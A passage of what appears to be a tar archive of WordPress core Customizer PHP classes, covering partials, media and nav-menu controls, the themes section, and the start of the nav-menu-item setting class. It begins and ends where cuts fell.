* @since 4.5.0
* @var string
*/
public $id;
/**
* Parsed ID.
*
* @since 4.5.0
* @var array {
* @type string $base ID base.
* @type array $keys Keys for multidimensional.
* }
*/
protected $id_data = array();
/**
* Type of this partial.
*
* @since 4.5.0
* @var string
*/
public $type = 'default';
/**
* The jQuery selector to find the container element for the partial.
*
* @since 4.5.0
* @var string
*/
public $selector;
/**
* IDs for settings tied to the partial.
*
* @since 4.5.0
* @var string[]
*/
public $settings;
/**
* The ID for the setting that this partial is primarily responsible for rendering.
*
* If not supplied, it will default to the ID of the first setting.
*
* @since 4.5.0
* @var string
*/
public $primary_setting;
/**
* Capability required to edit this partial.
*
* Normally this is empty and the capability is derived from the capabilities
* of the associated `$settings`.
*
* @since 4.5.0
* @var string
*/
public $capability;
/**
* Render callback.
*
* @since 4.5.0
*
* @see WP_Customize_Partial::render()
* @var callable Callback is called with one argument, the instance of
* WP_Customize_Partial. The callback can either echo the
* partial or return the partial as a string, or return false if error.
*/
public $render_callback;
/**
* Whether the container element is included in the partial, or if only the contents are rendered.
*
* @since 4.5.0
* @var bool
*/
public $container_inclusive = false;
/**
* Whether to refresh the entire preview in case a partial cannot be refreshed.
*
* A partial render is considered a failure if the render_callback returns false.
*
* @since 4.5.0
* @var bool
*/
public $fallback_refresh = true;
/**
* Constructor.
*
* Supplied `$args` override class property defaults.
*
* If `$args['settings']` is not defined, use the $id as the setting ID.
*
* @since 4.5.0
*
* @param WP_Customize_Selective_Refresh $component Customize Partial Refresh plugin instance.
* @param string $id Control ID.
* @param array $args {
* Optional. Array of properties for the new Partials object. Default empty array.
*
* @type string $type Type of the partial to be created.
* @type string $selector The jQuery selector to find the container element for the partial, that is,
* a partial's placement.
* @type string[] $settings IDs for settings tied to the partial. If undefined, `$id` will be used.
* @type string $primary_setting The ID for the setting that this partial is primarily responsible for
* rendering. If not supplied, it will default to the ID of the first setting.
* @type string $capability Capability required to edit this partial.
* Normally this is empty and the capability is derived from the capabilities
* of the associated `$settings`.
* @type callable $render_callback Render callback.
* Callback is called with one argument, the instance of WP_Customize_Partial.
* The callback can either echo the partial or return the partial as a string,
* or return false if error.
* @type bool $container_inclusive Whether the container element is included in the partial, or if only
* the contents are rendered.
* @type bool $fallback_refresh Whether to refresh the entire preview in case a partial cannot be refreshed.
* A partial render is considered a failure if the render_callback returns
* false.
* }
*/
public function __construct( WP_Customize_Selective_Refresh $component, $id, $args = array() ) {
$keys = array_keys( get_object_vars( $this ) );
foreach ( $keys as $key ) {
if ( isset( $args[ $key ] ) ) {
$this->$key = $args[ $key ];
}
}
$this->component = $component;
$this->id = $id;
$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) );
$this->id_data['base'] = array_shift( $this->id_data['keys'] );
if ( empty( $this->render_callback ) ) {
$this->render_callback = array( $this, 'render_callback' );
}
// Process settings.
if ( ! isset( $this->settings ) ) {
$this->settings = array( $id );
} elseif ( is_string( $this->settings ) ) {
$this->settings = array( $this->settings );
}
if ( empty( $this->primary_setting ) ) {
$this->primary_setting = current( $this->settings );
}
}
/**
* Retrieves parsed ID data for multidimensional setting.
*
* @since 4.5.0
*
* @return array {
* ID data for multidimensional partial.
*
* @type string $base ID base.
* @type array $keys Keys for multidimensional array.
* }
*/
final public function id_data() {
return $this->id_data;
}
/**
* Renders the template partial involving the associated settings.
*
* @since 4.5.0
*
* @param array $container_context Optional. Array of context data associated with the target container (placement).
* Default empty array.
* @return string|array|false The rendered partial as a string, raw data array (for client-side JS template),
* or false if no render applied.
*/
final public function render( $container_context = array() ) {
$partial = $this;
$rendered = false;
if ( ! empty( $this->render_callback ) ) {
ob_start();
$return_render = call_user_func( $this->render_callback, $this, $container_context );
$ob_render = ob_get_clean();
if ( null !== $return_render && '' !== $ob_render ) {
_doing_it_wrong( __FUNCTION__, __( 'Partial render must echo the content or return the content string (or array), but not both.' ), '4.5.0' );
}
/*
* Note that the string return takes precedence because the $ob_render may just\
* include PHP warnings or notices.
*/
$rendered = null !== $return_render ? $return_render : $ob_render;
}
/**
* Filters partial rendering.
*
* @since 4.5.0
*
* @param string|array|false $rendered The partial value. Default false.
* @param WP_Customize_Partial $partial WP_Customize_Setting instance.
* @param array $container_context Optional array of context data associated with
* the target container.
*/
$rendered = apply_filters( 'customize_partial_render', $rendered, $partial, $container_context );
/**
* Filters partial rendering for a specific partial.
*
* The dynamic portion of the hook name, `$partial->ID` refers to the partial ID.
*
* @since 4.5.0
*
* @param string|array|false $rendered The partial value. Default false.
* @param WP_Customize_Partial $partial WP_Customize_Setting instance.
* @param array $container_context Optional array of context data associated with
* the target container.
*/
$rendered = apply_filters( "customize_partial_render_{$partial->id}", $rendered, $partial, $container_context );
return $rendered;
}
/**
* Default callback used when invoking WP_Customize_Control::render().
*
* Note that this method may echo the partial *or* return the partial as
* a string or array, but not both. Output buffering is performed when this
* is called. Subclasses can override this with their specific logic, or they
* may provide an 'render_callback' argument to the constructor.
*
* This method may return an HTML string for straight DOM injection, or it
* may return an array for supporting Partial JS subclasses to render by
* applying to client-side templating.
*
* @since 4.5.0
*
* @param WP_Customize_Partial $partial Partial.
* @param array $context Context.
* @return string|array|false
*/
public function render_callback( WP_Customize_Partial $partial, $context = array() ) {
unset( $partial, $context );
return false;
}
/**
* Retrieves the data to export to the client via JSON.
*
* @since 4.5.0
*
* @return array Array of parameters passed to the JavaScript.
*/
public function json() {
$exports = array(
'settings' => $this->settings,
'primarySetting' => $this->primary_setting,
'selector' => $this->selector,
'type' => $this->type,
'fallbackRefresh' => $this->fallback_refresh,
'containerInclusive' => $this->container_inclusive,
);
return $exports;
}
/**
* Checks if the user can refresh this partial.
*
* Returns false if the user cannot manipulate one of the associated settings,
* or if one of the associated settings does not exist.
*
* @since 4.5.0
*
* @return bool False if user can't edit one of the related settings,
* or if one of the associated settings does not exist.
*/
final public function check_capabilities() {
if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) {
return false;
}
foreach ( $this->settings as $setting_id ) {
$setting = $this->component->manager->get_setting( $setting_id );
if ( ! $setting || ! $setting->check_capabilities() ) {
return false;
}
}
return true;
}
}
class-wp-customize-media-control.php 0000644 00000022275 15172715562 0013604 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Media_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Media Control class.
*
* @since 4.2.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Media_Control extends WP_Customize_Control {
/**
* Control type.
*
* @since 4.2.0
* @var string
*/
public $type = 'media';
/**
* Media control mime type.
*
* @since 4.2.0
* @var string
*/
public $mime_type = '';
/**
* Button labels.
*
* @since 4.2.0
* @var array
*/
public $button_labels = array();
/**
* Constructor.
*
* @since 4.1.0
* @since 4.2.0 Moved from WP_Customize_Upload_Control.
*
* @see WP_Customize_Control::__construct()
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id Control ID.
* @param array $args Optional. Arguments to override class property defaults.
* See WP_Customize_Control::__construct() for information
* on accepted arguments. Default empty array.
*/
public function __construct( $manager, $id, $args = array() ) {
parent::__construct( $manager, $id, $args );
$this->button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() );
}
/**
* Enqueue control related scripts/styles.
*
* @since 3.4.0
* @since 4.2.0 Moved from WP_Customize_Upload_Control.
*/
public function enqueue() {
wp_enqueue_media();
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @since 3.4.0
* @since 4.2.0 Moved from WP_Customize_Upload_Control.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['label'] = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) );
$this->json['mime_type'] = $this->mime_type;
$this->json['button_labels'] = $this->button_labels;
$this->json['canUpload'] = current_user_can( 'upload_files' );
$value = $this->value();
if ( is_object( $this->setting ) ) {
if ( $this->setting->default ) {
/*
* Fake an attachment model - needs all fields used by template.
* Note that the default value must be a URL, NOT an attachment ID.
*/
$ext = substr( $this->setting->default, -3 );
$type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp', 'avif' ), true ) ? 'image' : 'document';
$default_attachment = array(
'id' => 1,
'url' => $this->setting->default,
'type' => $type,
'icon' => wp_mime_type_icon( $type, '.svg' ),
'title' => wp_basename( $this->setting->default ),
);
if ( 'image' === $type ) {
$default_attachment['sizes'] = array(
'full' => array( 'url' => $this->setting->default ),
);
}
$this->json['defaultAttachment'] = $default_attachment;
}
if ( $value && $this->setting->default && $value === $this->setting->default ) {
// Set the default as the attachment.
$this->json['attachment'] = $this->json['defaultAttachment'];
} elseif ( $value ) {
$this->json['attachment'] = wp_prepare_attachment_for_js( $value );
}
}
}
/**
* Don't render any content for this control from PHP.
*
* @since 3.4.0
* @since 4.2.0 Moved from WP_Customize_Upload_Control.
*
* @see WP_Customize_Media_Control::content_template()
*/
public function render_content() {}
/**
* Render a JS template for the content of the media control.
*
* @since 4.1.0
* @since 4.2.0 Moved from WP_Customize_Upload_Control.
*/
public function content_template() {
?>
<#
var descriptionId = _.uniqueId( 'customize-media-control-description-' );
var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
#>
<# if ( data.label ) { #>
<span class="customize-control-title">{{ data.label }}</span>
<# } #>
<div class="customize-control-notifications-container"></div>
<# if ( data.description ) { #>
<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
<# if ( data.attachment && data.attachment.id ) { #>
<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
<div class="thumbnail thumbnail-{{ data.attachment.type }}">
<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
<# } else if ( 'audio' === data.attachment.type ) { #>
<# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
<img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
<# } else { #>
<img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
<# } #>
<p class="attachment-meta attachment-meta-title">“{{ data.attachment.title }}”</p>
<# if ( data.attachment.album || data.attachment.meta.album ) { #>
<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
<# } #>
<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
<# } #>
<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
</audio>
<# } else if ( 'video' === data.attachment.type ) { #>
<div class="wp-media-wrapper wp-video">
<video controls="controls" class="wp-video-shortcode" preload="metadata"
<# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
</video>
</div>
<# } else { #>
<img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
<p class="attachment-title">{{ data.attachment.title }}</p>
<# } #>
</div>
<div class="actions">
<# if ( data.canUpload ) { #>
<button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
<button type="button" class="button upload-button control-focus" {{{ describedByAttr }}}>{{ data.button_labels.change }}</button>
<# } #>
</div>
</div>
<# } else { #>
<div class="attachment-media-view">
<# if ( data.canUpload ) { #>
<button type="button" class="upload-button button" {{{ describedByAttr }}}>{{ data.button_labels.select }}</button>
<# } #>
<div class="actions">
<# if ( data.defaultAttachment ) { #>
<button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
<# } #>
</div>
</div>
<# } #>
<?php
}
/**
* Get default button labels.
*
* Provides an array of the default button labels based on the mime type of the current control.
*
* @since 4.9.0
*
* @return string[] An associative array of default button labels keyed by the button name.
*/
public function get_default_button_labels() {
// Get just the mime type and strip the mime subtype if present.
$mime_type = ! empty( $this->mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default';
switch ( $mime_type ) {
case 'video':
return array(
'select' => __( 'Select video' ),
'change' => __( 'Change video' ),
'default' => __( 'Default' ),
'remove' => __( 'Remove' ),
'placeholder' => __( 'No video selected' ),
'frame_title' => __( 'Select video' ),
'frame_button' => __( 'Choose video' ),
);
case 'audio':
return array(
'select' => __( 'Select audio' ),
'change' => __( 'Change audio' ),
'default' => __( 'Default' ),
'remove' => __( 'Remove' ),
'placeholder' => __( 'No audio selected' ),
'frame_title' => __( 'Select audio' ),
'frame_button' => __( 'Choose audio' ),
);
case 'image':
return array(
'select' => __( 'Select image' ),
'site_icon' => __( 'Select Site Icon' ),
'change' => __( 'Change image' ),
'default' => __( 'Default' ),
'remove' => __( 'Remove' ),
'placeholder' => __( 'No image selected' ),
'frame_title' => __( 'Select image' ),
'frame_button' => __( 'Choose image' ),
);
default:
return array(
'select' => __( 'Select file' ),
'change' => __( 'Change file' ),
'default' => __( 'Default' ),
'remove' => __( 'Remove' ),
'placeholder' => __( 'No file selected' ),
'frame_title' => __( 'Select file' ),
'frame_button' => __( 'Choose file' ),
);
} // End switch().
}
}
class-wp-customize-nav-menu-auto-add-control.php 0000644 00000002142 15172715563 0015737 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Auto_Add_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize control to represent the auto_add field for a given menu.
*
* @since 4.3.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Nav_Menu_Auto_Add_Control extends WP_Customize_Control {
/**
* Type of control, used by JS.
*
* @since 4.3.0
* @var string
*/
public $type = 'nav_menu_auto_add';
/**
* No-op since we're using JS template.
*
* @since 4.3.0
*/
protected function render_content() {}
/**
* Render the Underscore template for this control.
*
* @since 4.3.0
*/
protected function content_template() {
?>
<# var elementId = _.uniqueId( 'customize-nav-menu-auto-add-control-' ); #>
<span class="customize-control-title"><?php _e( 'Menu Options' ); ?></span>
<span class="customize-inside-control-row">
<input id="{{ elementId }}" type="checkbox" class="auto_add" />
<label for="{{ elementId }}">
<?php _e( 'Automatically add new top-level pages to this menu' ); ?>
</label>
</span>
<?php
}
}
class-wp-customize-nav-menus-panel.php 0000644 00000006355 15172715563 0014057 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menus_Panel class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Nav Menus Panel Class
*
* Needed to add screen options.
*
* @since 4.3.0
*
* @see WP_Customize_Panel
*/
class WP_Customize_Nav_Menus_Panel extends WP_Customize_Panel {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'nav_menus';
/**
* Render screen options for Menus.
*
* @since 4.3.0
*/
public function render_screen_options() {
// Adds the screen options.
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );
// Display screen options.
$screen = WP_Screen::get( 'nav-menus.php' );
$screen->render_screen_options( array( 'wrap' => false ) );
}
/**
* Returns the advanced options for the nav menus page.
*
* Link title attribute added as it's a relatively advanced concept for new users.
*
* @since 4.3.0
* @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns().
*/
public function wp_nav_menu_manage_columns() {
_deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' );
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
return wp_nav_menu_manage_columns();
}
/**
* An Underscore (JS) template for this panel's content (but not its container).
*
* Class variables for this panel class are available in the `data` JS object;
* export custom variables by overriding WP_Customize_Panel::json().
*
* @since 4.3.0
*
* @see WP_Customize_Panel::print_template()
*/
protected function content_template() {
?>
<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
<button type="button" class="customize-panel-back" tabindex="-1">
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Back' );
?>
</span>
</button>
<div class="accordion-section-title">
<span class="preview-notice">
<?php
/* translators: %s: The site/panel title in the Customizer. */
printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
?>
</span>
<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false">
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Help' );
?>
</span>
</button>
<button type="button" class="customize-screen-options-toggle" aria-expanded="false">
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Menu Options' );
?>
</span>
</button>
</div>
<# if ( data.description ) { #>
<div class="description customize-panel-description">{{{ data.description }}}</div>
<# } #>
<div id="screen-options-wrap">
<?php $this->render_screen_options(); ?>
</div>
</li>
<?php
// NOTE: The following is a workaround for an inability to treat (and thus label) a list of sections as a whole.
?>
<li class="customize-control-title customize-section-title-nav_menus-heading"><?php _e( 'Menus' ); ?></li>
<?php
}
}
class-wp-customize-themes-section.php 0000644 00000015453 15172715564 0014000 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Themes_Section class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Themes Section class.
*
* A UI container for theme controls, which are displayed within sections.
*
* @since 4.2.0
*
* @see WP_Customize_Section
*/
class WP_Customize_Themes_Section extends WP_Customize_Section {
/**
* Section type.
*
* @since 4.2.0
* @var string
*/
public $type = 'themes';
/**
* Theme section action.
*
* Defines the type of themes to load (installed, wporg, etc.).
*
* @since 4.9.0
* @var string
*/
public $action = '';
/**
* Theme section filter type.
*
* Determines whether filters are applied to loaded (local) themes or by initiating a new remote query (remote).
* When filtering is local, the initial themes query is not paginated by default.
*
* @since 4.9.0
* @var string
*/
public $filter_type = 'local';
/**
* Gets section parameters for JS.
*
* @since 4.9.0
* @return array Exported parameters.
*/
public function json() {
$exported = parent::json();
$exported['action'] = $this->action;
$exported['filter_type'] = $this->filter_type;
return $exported;
}
/**
* Renders a themes section as a JS template.
*
* The template is only rendered by PHP once, so all actions are prepared at once on the server side.
*
* @since 4.9.0
*/
protected function render_template() {
?>
<li id="accordion-section-{{ data.id }}" class="theme-section">
<button type="button" class="customize-themes-section-title themes-section-{{ data.id }}">{{ data.title }}</button>
<?php if ( current_user_can( 'install_themes' ) || is_multisite() ) : // @todo Upload support. ?>
<?php endif; ?>
<div class="customize-themes-section themes-section-{{ data.id }} control-section-content themes-php">
<div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div>
<div class="theme-browser rendered">
<div class="customize-preview-header themes-filter-bar">
<?php $this->filter_bar_content_template(); ?>
</div>
<?php $this->filter_drawer_content_template(); ?>
<div class="error unexpected-error" style="display: none; ">
<p>
<?php
printf(
/* translators: %s: Support forums URL. */
__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
__( 'https://wordpress.org/support/forums/' )
);
?>
</p>
</div>
<ul class="themes">
</ul>
<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
<p class="no-themes-local">
<?php
printf(
/* translators: %s: "Search WordPress.org themes" button text. */
__( 'No themes found. Try a different search, or %s.' ),
sprintf( '<button type="button" class="button-link search-dotorg-themes">%s</button>', __( 'Search WordPress.org themes' ) )
);
?>
</p>
<p class="spinner"></p>
</div>
</div>
</li>
<?php
}
/**
* Renders the filter bar portion of a themes section as a JS template.
*
* The template is only rendered by PHP once, so all actions are prepared at once on the server side.
* The filter bar container is rendered by {@see render_template()}.
*
* @since 4.9.0
*/
protected function filter_bar_content_template() {
?>
<button type="button" class="button button-primary customize-section-back customize-themes-mobile-back"><?php _e( 'Go to theme sources' ); ?></button>
<# if ( 'wporg' === data.action ) { #>
<div class="themes-filter-container">
<label for="wp-filter-search-input-{{ data.id }}"><?php _e( 'Search themes' ); ?></label>
<div class="search-form-input">
<input type="search" id="wp-filter-search-input-{{ data.id }}" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search">
<div class="search-icon" aria-hidden="true"></div>
<span id="{{ data.id }}-live-search-desc" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'The search results will be updated as you type.' );
?>
</span>
</div>
</div>
<# } else { #>
<div class="themes-filter-container">
<label for="{{ data.id }}-themes-filter"><?php _e( 'Search themes' ); ?></label>
<div class="search-form-input">
<input type="search" id="{{ data.id }}-themes-filter" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search wp-filter-search-themes" />
<div class="search-icon" aria-hidden="true"></div>
<span id="{{ data.id }}-live-search-desc" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'The search results will be updated as you type.' );
?>
</span>
</div>
</div>
<# } #>
<div class="filter-themes-wrapper">
<# if ( 'wporg' === data.action ) { #>
<button type="button" class="button feature-filter-toggle">
<span class="filter-count-0"><?php _e( 'Filter themes' ); ?></span><span class="filter-count-filters">
<?php
/* translators: %s: Number of filters selected. */
printf( __( 'Filter themes (%s)' ), '<span class="theme-filter-count">0</span>' );
?>
</span>
</button>
<# } #>
<div class="filter-themes-count">
<span class="themes-displayed">
<?php
/* translators: %s: Number of themes displayed. */
printf( __( '%s themes' ), '<span class="theme-count">0</span>' );
?>
</span>
</div>
</div>
<?php
}
/**
* Renders the filter drawer portion of a themes section as a JS template.
*
* The filter bar container is rendered by {@see render_template()}.
*
* @since 4.9.0
*/
protected function filter_drawer_content_template() {
/*
* @todo Use the .org API instead of the local core feature list.
* The .org API is currently outdated and will be reconciled when the .org themes directory is next redesigned.
*/
$feature_list = get_theme_feature_list( false );
?>
<# if ( 'wporg' === data.action ) { #>
<div class="filter-drawer filter-details">
<?php foreach ( $feature_list as $feature_name => $features ) : ?>
<fieldset class="filter-group">
<legend><?php echo esc_html( $feature_name ); ?></legend>
<div class="filter-group-feature">
<?php foreach ( $features as $feature => $feature_name ) : ?>
<input type="checkbox" id="filter-id-<?php echo esc_attr( $feature ); ?>" value="<?php echo esc_attr( $feature ); ?>" />
<label for="filter-id-<?php echo esc_attr( $feature ); ?>"><?php echo esc_html( $feature_name ); ?></label>
<?php endforeach; ?>
</div>
</fieldset>
<?php endforeach; ?>
</div>
<# } #>
<?php
}
}
class-wp-customize-filter-setting.php 0000644 00000001114 15172715564 0013776 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Filter_Setting class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* A setting that is used to filter a value, but will not save the results.
*
* Results should be properly handled using another setting or callback.
*
* @since 3.4.0
*
* @see WP_Customize_Setting
*/
class WP_Customize_Filter_Setting extends WP_Customize_Setting {
/**
* Saves the value of the setting, using the related API.
*
* @since 3.4.0
*
* @param mixed $value The value to update.
*/
public function update( $value ) {}
}
class-wp-customize-nav-menu-item-setting.php 0000644 00000066335 15172715564 0015213 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Item_Setting class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Setting to represent a nav_menu.
*
* Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
* the IDs for the nav_menu_items associated with the nav menu.
*
* @since 4.3.0
*
* @see WP_Customize_Setting
*/
class WP_Customize_Nav_Menu_Item_Setting extends WP_Customize_Setting {
const ID_PATTERN = '/^nav_menu_item\[(?P<id>-?\d+)\]$/';
const POST_TYPE = 'nav_menu_item';
const TYPE = 'nav_menu_item';
/**
* Setting type.
*
* @since 4.3.0
* @var string
*/
public $type = self::TYPE;
/**
* Default setting value.
*
* @since 4.3.0
* @var array
*
* @see wp_setup_nav_menu_item()
*/
public $default = array(
// The $menu_item_data for wp_update_nav_menu_item().
'object_id' => 0,
'object' => '', // Taxonomy name.
'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included.
'position' => 0, // A.K.A. menu_order.
'type' => 'custom', // Note that type_label is not included here.
'title' => '',
'url' => '',
'target' => '',
'attr_title' => '',
'description' => '',
'classes' => '',
'xfn' => '',
'status' => 'publish',
'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item().
'_invalid' => false,
);
/**
* Default transport.
*
* @since 4.3.0
* @since 4.5.0 Default changed to 'refresh'
* @var string
*/
public $transport = 'refresh';
/**
* The post ID represented by this setting instance. This is the db_id.
*
* A negative value represents a placeholder ID for a new menu not yet saved.
*
* @since 4.3.0
* @var int
*/
public $post_id;
/**
* Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item().
*
* @since 4.3.0
* @var array|null
*/
protected $value;
/**
* Previous (placeholder) post ID used before creating a new menu item.
*
* This value will be exported to JS via the customize_save_response filter
* so that JavaScript can update the settings to refer to the newly-assigned
* post ID. This value is always negative to indicate it does not refer to
* a real post.
*
* @since 4.3.0
* @var int
*
* @see WP_Customize_Nav_Menu_Item_Setting::update()
* @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
*/
public $previous_post_id;
/**
* When previewing or updating a menu item, this stores the previous nav_menu_term_id
* which ensures that we can apply the proper filters.
*
* @since 4.3.0
* @var int
*/
public $original_nav_menu_term_id;
/**
* Whether or not update() was called.
*
* @since 4.3.0
* @var bool
*/
protected $is_updated = false;
/**
* Status for calling the update method, used in customize_save_response filter.
*
* See {@see 'customize_save_response'}.
*
* When status is inserted, the placeholder post ID is stored in $previous_post_id.
* When status is error, the error is stored in $update_error.
*
* @since 4.3.0
* @var string updated|inserted|deleted|error
*
* @see WP_Customize_Nav_Menu_Item_Setting::update()
* @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
*/
public $update_status;
/**
* Any error object returned by wp_update_nav_menu_item() when setting is updated.
*
* @since 4.3.0
* @var WP_Error
*
* @see WP_Customize_Nav_Menu_Item_Setting::update()
* @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
*/
public $update_error;
/**
* Constructor.
*
* Any supplied $args override class property defaults.
*
* @since 4.3.0
*
* @throws Exception If $id is not valid for this setting type.
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id A specific ID of the setting.
* Can be a theme mod or option name.
* @param array $args Optional. Setting arguments.
*/
public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
if ( empty( $manager->nav_menus ) ) {
throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
}
if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
throw new Exception( "Illegal widget setting ID: $id" );
}
$this->post_id = (int) $matches['id'];
add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 );
parent::__construct( $manager, $id, $args );
// Ensure that an initially-supplied value is valid.
if ( isset( $this->value ) ) {
$this->populate_value();
foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) {
throw new Exception( "Supplied nav_menu_item value missing property: $missing" );
}
}
}
/**
* Clear the cached value when this nav menu item is updated.
*
* @since 4.3.0
*
* @param int $menu_id The term ID for the menu.
* @param int $menu_item_id The post ID for the menu item.
*/
public function flush_cached_value( $menu_id, $menu_item_id ) {
unset( $menu_id );
if ( $menu_item_id === $this->post_id ) {
$this->value = null;
}
}
/**
* Get the instance data for a given nav_menu_item setting.
*
* @since 4.3.0
*
* @see wp_setup_nav_menu_item()
*
* @return array|false Instance data array, or false if the item is marked for deletion.
*/
public function value() {
$type_label = null;
if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
$undefined = new stdClass(); // Symbol.
$post_value = $this->post_value( $undefined );
if ( $undefined === $post_value ) {
$value = $this->_original_value;
} else {
$value = $post_value;
}
} elseif ( isset( $this->value ) ) {
$value = $this->value;
} else {
$value = false;
// Note that an ID of less than one indicates a nav_menu not yet inserted.
if ( $this->post_id > 0 ) {
$post = get_post( $this->post_id );
if ( $post && self::POST_TYPE === $post->post_type ) {
$is_title_empty = empty( $post->post_title );
$value = (array) wp_setup_nav_menu_item( $post );
if ( isset( $value['type_label'] ) ) {
$type_label = $value['type_label'];
}
if ( $is_title_empty ) {
$value['title'] = '';
}
}
}
if ( ! is_array( $value ) ) {
$value = $this->default;
}
// Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item().
$this->value = $value;
$this->populate_value();
$value = $this->value;
}
// These properties are read-only and are part of the setting for use in the Customizer UI.
if ( is_array( $value ) ) {
$value_obj = (object) $value;
$value['type_label'] = isset( $type_label ) ? $type_label : $this->get_type_label( $value_obj );
$value['original_title'] = $this->get_original_title( $value_obj );
}
return $value;
}
/**
* Prepares the value for editing on the client.
*
* @since 6.8.3
*
* @return array|false Value prepared for the client.
*/
public function js_value() {
$value = parent::js_value();
if ( is_array( $value ) && isset( $value['original_title'] ) ) {
// Decode entities for the sake of displaying the original title as a placeholder.
$value['original_title'] = html_entity_decode( $value['original_title'], ENT_QUOTES, get_bloginfo( 'charset' ) );
}
return $value;
}
/**
* Get original title.
*
* @since 4.7.0
*
* @param object $item Nav menu item.
* @return string The original title, without entity decoding.
*/
protected function get_original_title( $item ) {
$original_title = '';
if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) {
$original_object = get_post( $item->object_id );
if ( $original_object ) {
/** This filter is documented in wp-includes/post-template.php */
$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );
if ( '' === $original_title ) {
/* translators: %d: ID of a post. */
$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
}
}
} elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) {
